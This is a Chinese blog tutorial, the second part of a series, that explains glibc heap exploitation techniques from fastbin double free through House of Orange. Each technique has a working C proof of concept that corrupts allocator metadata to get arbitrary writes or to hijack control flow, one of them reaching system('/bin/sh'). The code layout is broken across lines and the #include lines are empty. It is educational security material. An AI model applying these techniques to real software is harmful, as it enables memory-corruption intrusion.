Linux heap 学习(下)

上周我们学习了Linux heap 学习 上,今天的文章继续第二部分的内容

title: Linux heap 学习

tags: Heap,pwn,linux

grammar_cjkRuby: true

利用周末的时间,系统的学习了linux 系统的glibc堆分配机制,从中了解了很多以前很模糊的东西。本文打算系统的讲解一下关于堆的分配和使用机制,同时思考可能存在的一些攻击方法。

0x03 Heap 漏洞利用方法

Fast bin 类型

0x1 Double free

在fastbin中存在的一种漏洞利用方式,fastbin在free堆块时会检查是否重复释放同一个堆块。如果我们绕过了安全机制将一个堆块释放了两次,那么就可以通过malloc的堆块对fastbin链表中的堆块的fd进行改写,从而可以实现申请任意内存的目的。

下面是具体的利用方法:

#include


#include



int
main()
{

unsigned

long

long
stack_var[
2
];
fprintf(stderr,
"The address we want malloc() to return is %p.\n"
,
16
+(
char
*)stack_var);

int
*a = malloc(
8
);

int
*b = malloc(
8
);

int
*c = malloc(
8
);
free(a);
free(b);
//Pass the free check
free(a);

unsigned

long

long
*d = malloc(
8
);

malloc(
8
);
//Now the fastbin list has only a left
stack_var[
1
] =
0x20
;
fprintf(stderr,
"Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n"
, a);
*d = (
unsigned

long

long
) (((
char
*)&stack_var) );
fprintf(stderr,
"3rd malloc(8): %p, putting the stack address on the free list\n"
, malloc(
8
));
fprintf(stderr,
"4th malloc(8): %p\n"
, malloc(
8
));
}
Linux heap 学习(下)


Linux heap 学习(下)


利用方法比较简单,绕过检查机制,两次申请内存,重写fastbin堆块的链表,造成任意内存地址申请。

0x2 Fastbin cover fd

通过前一个fastbin覆盖后面的fastbin的fd使得下下次分配的时候可以得到任意地址(这里测试的是bss段

具体操作方法如下

#include


#include


#include


#include


#include


long

long

int

fake_chunk[
100
];
int
main(
int
argc,
char
*argv[])
{

void
*buf0,*buf1,*buf2,*buf3;
fake_chunk[
1
]=
0x41
;
buf0 = malloc(
0x30
);
buf1 = malloc(
0x30
);
free(buf1);

int
*offset = (
char
*)buf0+
0x40
;
//find next chunk's fd point address
*offset = fake_chunk;
//chunk->fd = fake_chunk
buf2 = malloc(
0x30
);
buf3 = malloc(
0x30
);
printf(
"发生溢出的chunk2被分配\n%p\n溢出改写的fd地址被分配\n%p\n"
,buf2,buf3);

return

0
;

}
Linux heap 学习(下)

通过溢出前一块,覆盖下一块fd指针。关键在于bypass malloc fastbin安全检测,看大小是否是fastbin的范围

0x3 House of Spirit

看到fastbin的链表结构是不是又想到一种,如果free一个假的堆块指针,那么他也会插进fastbin链表,这时再次申请相同内存空间(注意大小),就可以对我们伪造的一段内存进行操作。

下面是具体的利用方法。

#include


#include


#include


#include


#include


long

long

int

Fakechunk
[
100
];
int
main()
{

void
*p;
malloc(
1
);

Fakechunk
[
1
]=
0x31

;

Fakechunk
[
7
]=
0X11
;
//set prev_inuse bit 1 to bypass the free check
p=&
Fakechunk
[
2
];
free(p);
//put the chunk to fastbin list
p=malloc(
0x20
);
printf(
" 任意地址:%p\n"
,p);
}
Linux heap 学习(下)

主要还是在free的时候检查的不够仔细,造成伪造chunk插入fastbin的现象。

Small bin 类型

0x1 House of Einherjar

此漏洞的根本原因在于在执行free函数是,检测previnuse位后符合合并条件就开始合并,虽然在unlink时有是否在链表的检测,但是没有对prevsize的大小进行检测。

具体利用过程如下

#include


#include


#include


#include


#include


int

main()
{

uint8_t
* a;

uint8_t
* b;

uint8_t
* d;
a = (
uint8_t
*) malloc(
0x38
);

int
real_a_size = malloc_usable_size(a);

size_t
fake_chunk[
6
];
fake_chunk[
1
] =
0x100
;
// size of the chunk just needs to be small enough to stay in the small bin
fake_chunk[
2
] = (
size_t
) fake_chunk;
// fwd
fake_chunk[
3
] = (
size_t
) fake_chunk;
// bck
fake_chunk[
4
] = (
size_t
) fake_chunk;
//fwd_nextsize Remember this chunk must be large chunk, so it check the nextsize link
fake_chunk[
5

] = (
size_t
) fake_chunk;
//bck_nextsize
b = (
uint8_t
*) malloc(
0x1f0
);
//Attention low byte must be 0xf0 or 0xf8,because of null byte overflow

int
real_b_size = malloc_usable_size(b);
a[real_a_size] =
0
;

size_t
fake_size = (
size_t
)((b-
sizeof
(
size_t
)*
2
) - (
uint8_t
*)fake_chunk);
*(
size_t
*)&a[real_a_size-
8
] = fake_size;
fake_chunk[
1
] = fake_size;
//prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size

// fake_chunk[0] = real_b_size; This line is not needed
free(b);

int
*dd = malloc(
8
);
fprintf(stderr,
"i want to malloc: %p\n"
,
2

+fake_chunk);
fprintf(stderr,
"Now i malloc chunk's addr: %p\n"
, dd);
}
Linux heap 学习(下)

对于堆块合并检查的不够到位,有漏洞可寻。

0x2 House of lore

通过伪造smallbin链表,欺骗smallbin将伪造链表加入主链表。从而获得目标地址的读写权。

具体操作如下

/*
Advanced exploitation of the House of Lore - Malloc Maleficarum.
This PoC take care also of the glibc hardening of smallbin corruption.
[ ... ]
else
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim)){
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
[ ... ]
*/
#include


#include


#include


#include


void
jackpot(){ puts(
"Nice jump d00d"
);
exit
(
0
); }
int
main(

int
argc,
char
* argv[]){

intptr_t
* stack_buffer_1[
4
] = {
0
};
//stack1

intptr_t
* stack_buffer_2[
3
] = {
0
};
//stack2

intptr_t
*victim = malloc(
0x80
);

intptr_t
*victim_chunk = victim-
2
;
stack_buffer_1[
0
] =
0
;
stack_buffer_1[
1
] =
0
;
stack_buffer_1[
2
] = victim_chunk;
stack_buffer_1[
3
] = (
intptr_t
*)stack_buffer_2;
//create fd & bk point
stack_buffer_2[

2
] = (
intptr_t
*)stack_buffer_1;

void
*p5 = malloc(
1000
);
//avoid to add to top chunk
free((
void
*)victim);
//

void
*p2 = malloc(
1200
);
//make unsorted chunk into small chunk

//------------VULNERABILITY-----------
fprintf(stderr,
"Now emulating a vulnerability that can overwrite the victim->bk pointer\n"
);
victim[
1
] = (
intptr_t
)stack_buffer_1;
// victim->bk is pointing to stack

//------------------------------------

void
*p3 = malloc(
0x80
);
//malloc old victim address

char
*p4 = malloc(
0x80
);
//get stack address
fprintf(stderr,
"\np4 is %p and should be on the stack!\n"
, p4);
// this chunk will be allocated on stack

intptr_t
sc = (
intptr_t
)jackpot;
// Emulating our in-memory shellcode
memcpy((p4+
40
-
10
-
6
), &sc,
8
);
// This bypasses stack-smash detection since it jumps over the canary
}
Linux heap 学习(下)

主要是可以对free掉的指针进行操作,从而使得链表的构成。同时绕过了smallbin 的malloc检测,成功实现了分配栈地址,最后覆盖了ret地址

0x3 poison null byte

此类型的漏洞比较新奇,主要利用的堆块在向前合并时并没有检查前一块堆块的大小,导致了合并现象的发生,从而可以操作已经malloc的内存区域。

  1. 申请三个连续的内存a,b,c
  2. 释放b,并且将末尾块的前8byte设置成虚假的prevsize,用来保护c块中真实的prevsize
  3. 用a的0 byte 溢出覆盖b堆块的size位,使得大小变小,且正好在prev_size的上面
  4. 连续申请b1,b2,注意总大小不要超过b,这样使得c的P位始终保持为0,为的是后面的free(c)合并操作,这时因为有2中的fake prev_size的保护所以一直没有变
  5. 最后free(c),检测b1是否在freebin的链表中
#include


#include


#include


#include


#include


int
main()
{

uint8_t
* a;

uint8_t
* b;

uint8_t
* c;

uint8_t
* b1;

uint8_t
* b2;

uint8_t
* d;
a = (
uint8_t
*) malloc(
0x100
);
fprintf(stderr,
"a: %p\n"
, a);

int
real_a_size = malloc_usable_size(a);
b = (

uint8_t
*) malloc(
0x200
);
fprintf(stderr,
"b: %p\n"
, b);
c = (
uint8_t
*) malloc(
0x100
);
fprintf(stderr,
"c: %p\n"
, c);

uint64_t
* b_size_ptr = (
uint64_t
*)(b -
8
);
*(
size_t
*)(b+
0x1f0
) =
0x200
;
//fake prev_size
free(b);
a[real_a_size] =
0
;
// this 0 byte change the size of chunk to save the old prev_size
b1 = malloc(
0x100
);
b2 = malloc(
0x80
);
fprintf(stderr,
"b2: %p\n"
,b2);
memset(b2,
'B'
,
0x80
);
fprintf(stderr,

"Current b2 content:\n%s\n"
,b2);
free(b1);
//to marge with c
*(
size_t
*)(c-
8
) =
0xf0
;
*(
size_t
*)(c+
0xe8
) =
0x21
;
free(c);
d = malloc(
0x200
);
//get b memery
memset(d,
'D'
,
0x200
);
fprintf(stderr,
"New b2 content:\n%s\n"
,b2);
}
Linux heap 学习(下)

重点还是在于那个fake prev_size,一个很奇特的用法

0x4 overlapping chunks after free

首先创建两个smallbin,然后正常free掉一个smallbin ,然后更改free掉的chunk的size,使之包含下一个chunk,再次malloc即可对下一chunk进行操作

#include


#include


#include


#include


#include


long

long

int
fake_chunk[
100
];
int
main(
int
argc,
char

*argv[])
{

void
*buf0,*buf1,*buf2,*buf3;
fake_chunk[
1
]=
0x41
;
buf0 = malloc(
0x80
);
buf1 = malloc(
0x80
);
free(buf0);

int
*offset = (
char
*)buf0-
8
;
//find next chunk's fd point address
*offset =
0x201
;
//chunk->fd = fake_chunk
buf3 = malloc(
0x1f0
);
memset(buf3,
'1'
,
0x190
);
printf(
"%s\n"
,buf1 );

return

0
;
}

0x5 overlapping chunks before free

上一个是在free之后更改大小,这一次是在free之前更改大小

/*
Yet another simple tale of overlapping chunk.
This technique is taken from
https://loccs.sjtu.edu.cn/wiki/lib/exe/fetch.php?media=gossip:overview:ptmalloc_camera.pdf.
This is also referenced as Nonadjacent Free Chunk Consolidation Attack.
*/
#include


#include


#include


#include


#include


int
main(){

intptr_t
*p1,*p2,*p3,*p4,*p5,*p6;

unsigned

int
real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;

int
prev_in_use =

0x1
;
p1 = malloc(
1000
);
p2 = malloc(
1000
);
p3 = malloc(
1000
);
p4 = malloc(
1000
);
p5 = malloc(
1000
);
real_size_p1 = malloc_usable_size(p1);
real_size_p2 = malloc_usable_size(p2);
real_size_p3 = malloc_usable_size(p3);
real_size_p4 = malloc_usable_size(p4);
real_size_p5 = malloc_usable_size(p5);
memset(p1,
'A'
,real_size_p1);
memset(p2,
'B'
,real_size_p2);
memset(p3,
'C'
,real_size_p3);
memset(p4,
'D'
,real_size_p4);
memset(p5,
'E'
,real_size_p5);
free(p4);
*(
unsigned

int
*)((
unsigned

char
*)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use +
sizeof
(
size_t

) *
2
;
// free(p2);
p6 = malloc(
2000
);
real_size_p6 = malloc_usable_size(p6);
fprintf(stderr,
"\nData inside chunk p3: \n\n"
);
fprintf(stderr,
"%s\n"
,(
char
*)p3);
fprintf(stderr,
"\nLet's write something inside p6\n"
);
memset(p6,
'F'
,
1500
);
fprintf(stderr,
"\nData inside chunk p3: \n\n"
);
fprintf(stderr,
"%s\n"
,(
char
*)p3);
}

起因还是可以随意更改chunk的size

unsorted bin 类型

0x1 unsorted bin attack

通过对unsorted 堆块指针的篡改,使得在unsorted bin链表中拆掉时,造成任意地址写漏洞。

并且只是单向链表的赋值 p->bk->fp=p->fp

#include


#include


int
main(){

unsigned

long
stack_var1=
1
;

unsigned

long
stack_var2=
2
;

unsigned

long
*q,*p=malloc(
400
);
q=malloc(
500
);
free(p);

//------------VULNERABILITY-----------
p[
1

]=(
unsigned

long
)(&stack_var1-
2
);
p[
0
] = (
unsigned

long
)(q);

//------------------------------------
malloc(
400
);
//this option will check fastbin smallbin ,the last one is unsorted bin .if not find fit chunk in unsorted bin it will make the chunk into small or large bin list
fprintf(stderr,
"%p: %p\n"
, &stack_var1, (
void
*)stack_var1);
fprintf(stderr,
"%p: %p\n"
, &stack_var2, (
void
*)stack_var2);
}
Linux heap 学习(下)

这里有个疑问在unsortedbin 的chunk拆下来时,其fd中的地址内容并没有改变,推测只改变了bk指针内的内容。

0x2 unsafe unlink

在空闲堆块合并的时候执行unlink函数,通过伪造fd和bk指针达到修改任意地址的目的。注意unlink的安全检测,具体操作如下

  1. 申请两个连续的chunk
  2. 在第一个chunk中伪造一个fake chunk
  3. 将bss的指针参数地址填写到fake chunk的fd,bk,并且能够绕过检测unlink
  4. free(chunk2) 发生合并,并执行unlink,将free chunk从链表中卸掉
#include


#include


#include


#include


uint64_t
*chunk0_ptr;
int
main()
{

int
malloc_size =
0x80
;
//we want to be big enough not to use fastbins

int
header_size =
2
;
chunk0_ptr = (
uint64_t
*) malloc(malloc_size);
//chunk0

uint64_t
*chunk1_ptr = (
uint64_t
*) malloc(malloc_size);
//chunk1
chunk0_ptr[
2
] = (
uint64_t
) &chunk0_ptr-(
sizeof
(
uint64_t
)*
3
);
chunk0_ptr[
3
] = (
uint64_t
) &chunk0_ptr-(
sizeof
(
uint64_t
)*
2
);


uint64_t
*chunk1_hdr = chunk1_ptr - header_size;
chunk1_hdr[
0
] =
0x80
;
//fake size of prev chunk
chunk1_hdr[
1
] &= ~
1
;
//make prev chunk free
free(chunk1_ptr);

char
victim_string[
8
];
strcpy(victim_string,
"Hello!~"
);
chunk0_ptr[
3
] = (
uint64_t
) victim_string;
fprintf(stderr,
"Original value: %s\n"
,victim_string);
chunk0_ptr[
0
] =
0x4141414142424242LL
;
fprintf(stderr,
"New Value: %s\n"
,victim_string);
}
Linux heap 学习(下)

这种利用方法只需绕过unlink的链表检测,操作比较简单

Top chunk 类型

0x1 House of Force

这个类型的漏洞利用方法比较简单,通过溢出更改topchunk的大小(这里改成-1),从而可以malloc到想要的内存地址

具体利用流程如下

#include


#include


#include


#include


#include


#include


char

bss_var[] =
"This is a string that we want to overwrite."
;
int
main(
int
argc ,
char
* argv[])
{

intptr_t
*p1 = malloc(
256
);

int
real_size = malloc_usable_size(p1);

//----- VULNERABILITY ----

intptr_t
*ptr_top = (
intptr_t
*) ((
char
*)p1 + real_size);
ptr_top[
0
] = -
1
;
//change the size of topchunk

//------------------------

unsigned

long
evil_size = (
unsigned

long
)bss_var -
sizeof
(
long
)*
2
- (

unsigned

long
)ptr_top;
//except bss_var head's length sizeof(long)*2

void
*new_ptr = malloc(evil_size);

void
* ctr_chunk = malloc(
100
);
fprintf(stderr,
"... old string: %s\n"
, bss_var);
strcpy(ctr_chunk,
"YEAH!!!"
);
fprintf(stderr,
"... new string: %s\n"
, bss_var);
}
Linux heap 学习(下)

这里BSS段在heap的前面所以说相当于malloc函数向前申请了空间,这一点不知道是如何做到的,并且这里缺少安全机制的检测

0x2 The house of orange

这个漏洞的利用过程很是奇妙,主要利用了在执行abort的时候调用了 _IO_flush_all_lockp函数,这里需要了解 IO_FILE_ALL的结构,

Linux heap 学习(下)

所以这个漏洞的根本原因在于,重写了存储 IO_FILE_ALL的指针,通过触发malloc函数中的unlink操作使得检测失败,执行难abort函数,然而其中的 _IO_flush_all_lockp函数早已被替换为其他的地址,成功劫持执行流。

几个步骤

  1. 申请两个大于fastbin大小的堆块,并且把第一个chunk释放掉(主要是为了获得fp,bk指针)
  2. 伪造iofile,通过unsorted attack去更改iofile指针中的内容
  3. 更改被free chunk的大小(将该chunk存放在特定的smallbin中)
  4. 执行malloc 申请内存大小不同于上述的chunk,通过unsorted的遍历触发malloc abort函数
#include


#include


#include


int
winner (
char
*ptr);
int
main()
{

char
*p1, *p2;

size_t
io_list_all, *top;
p1 = malloc(
0x400
-
16
);
malloc(
0x400
-
16
);
free(p1);
top = (
size_t
*) ( (
char
*) p1 -
16
);
io_list_all = top[
2
] +
0x9e8
;
top[
3
] = io_list_all -
0x10
;
memcpy( (
char
*) top,
"/bin/sh\\x00"
,
8
);
top[
1
] =
0x61
;
_IO_FILE *fp = (_IO_FILE *) top;
fp->_mode =
0
;
// top+0xc0

fp->_IO_write_base = (
char
*)
2
;
// top+0x20
fp->_IO_write_ptr = (
char
*)
3
;
// top+0x28

size_t
*jump_table = &top[
12
];
// controlled memory
jump_table[
3
] = (
size_t
) &winner;
*(
size_t
*) ((
size_t
) fp +
sizeof
(_IO_FILE)) = (
size_t
) jump_table;
// top+0xd8

/* Finally, trigger the whole chain by calling malloc */
malloc(
0x40
);
// size <= 0x50

return

0
;
}
int
winner(
char
*ptr)
{

system(ptr);

return

0
;
}
Linux heap 学习(下)

注意几个要点

  • 程序流劫持是abort中的函数造成的,具体的操作是替换了IO_FILE的指针
  • 替换指针的操作是unsorted bin从链表中拆除造成的
  • 修改堆块的大小是为了将chunk插入相对应偏移的smallbin list中
  • malloc异常是由unsorted bin指针异常引起的


分享到:


相關文章: